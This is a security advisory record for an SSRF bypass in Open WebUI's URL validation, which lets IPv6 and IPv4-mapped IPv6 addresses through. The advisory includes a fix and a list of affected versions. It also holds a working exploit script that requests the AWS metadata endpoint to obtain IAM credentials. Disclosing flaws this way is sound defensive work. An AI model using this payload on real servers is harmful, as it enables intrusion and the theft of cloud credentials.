id: PYSEC-2026-2702 published: "2026-07-13T15:19:06.374482Z" modified: "2026-07-13T16:05:10.897342Z" aliases: - CVE-2026-45331 - GHSA-4v7r-f4w8-8972 summary: Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature details: "# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True): # ValidationError is falsy — never raises\n raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={'reason': \"ipv6() got an unexpected keyword argument 'private'\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\" # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n addr_v4 = addr.ipv4_mapped\n if addr_v4.is_private or addr_v4.is_loopback or ...:\n raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** — first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing `validate_url()` once resolves all of them." affected: - package: name: open-webui ecosystem: PyPI purl: pkg:pypi/open-webui ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.9.0 versions: - 0.1.124 - 0.1.125 - 0.2.0 - 0.2.1 - 0.2.2 - 0.2.3 - 0.2.4 - 0.2.5 - 0.3.0 - 0.3.1 - 0.3.10 - 0.3.12 - 0.3.13 - 0.3.14 - 0.3.15 - 0.3.16 - 0.3.17 - 0.3.17.dev2 - 0.3.17.dev3 - 0.3.17.dev4 - 0.3.17.dev5 - 0.3.18 - 0.3.19 - 0.3.2 - 0.3.20 - 0.3.21 - 0.3.22 - 0.3.23 - 0.3.24 - 0.3.25 - 0.3.26 - 0.3.27 - 0.3.27.dev1 - 0.3.27.dev2 - 0.3.27.dev3 - 0.3.28 - 0.3.29 - 0.3.3 - 0.3.30 - 0.3.30.dev1 - 0.3.30.dev2 - 0.3.31 - 0.3.31.dev1 - 0.3.32 - 0.3.33 - 0.3.33.dev1 - 0.3.34 - 0.3.35 - 0.3.4 - 0.3.5 - 0.3.6 - 0.3.7 - 0.3.8 - 0.3.9 - 0.4.0 - 0.4.0.dev1 - 0.4.0.dev2 - 0.4.1 - 0.4.2 - 0.4.3 - 0.4.4 - 0.4.5 - 0.4.6 - 0.4.6.dev1 - 0.4.7 - 0.4.8 - 0.5.0 - 0.5.0.dev1 - 0.5.0.dev2 - 0.5.1 - 0.5.10 - 0.5.11 - 0.5.12 - 0.5.13 - 0.5.14 - 0.5.15 - 0.5.16 - 0.5.17 - 0.5.18 - 0.5.19 - 0.5.2 - 0.5.20 - 0.5.3 - 0.5.3.dev1 - 0.5.4 - 0.5.5 - 0.5.6 - 0.5.7 - 0.5.8 - 0.5.9 - 0.6.0 - 0.6.1 - 0.6.10 - 0.6.11 - 0.6.12 - 0.6.13 - 0.6.14 - 0.6.15 - 0.6.16 - 0.6.18 - 0.6.19 - 0.6.2 - 0.6.20 - 0.6.21 - 0.6.22 - 0.6.23 - 0.6.24 - 0.6.25 - 0.6.26 - 0.6.26.dev1 - 0.6.27 - 0.6.28 - 0.6.29 - 0.6.3 - 0.6.30 - 0.6.31 - 0.6.32 - 0.6.33 - 0.6.34 - 0.6.35 - 0.6.36 - 0.6.37 - 0.6.38 - 0.6.39 - 0.6.4 - 0.6.40 - 0.6.41 - 0.6.42 - 0.6.43 - 0.6.5 - 0.6.6 - 0.6.6.dev1 - 0.6.7 - 0.6.8 - 0.6.9 - 0.7.0 - 0.7.1 - 0.7.2 - 0.8.0 - 0.8.1 - 0.8.10 - 0.8.11 - 0.8.12 - 0.8.2 - 0.8.3 - 0.8.4 - 0.8.5 - 0.8.6 - 0.8.7 - 0.8.8 - 0.8.9 references: - type: WEB url: https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972 - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-45331 - type: ADVISORY url: https://github.com/advisories/GHSA-c6xv-rcvw-v685 - type: PACKAGE url: https://github.com/open-webui/open-webui - type: WEB url: https://github.com/open-webui/open-webui/releases/tag/v0.9.0 - type: PACKAGE url: https://pypi.org/project/open-webui - type: ADVISORY url: https://github.com/advisories/GHSA-4v7r-f4w8-8972 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N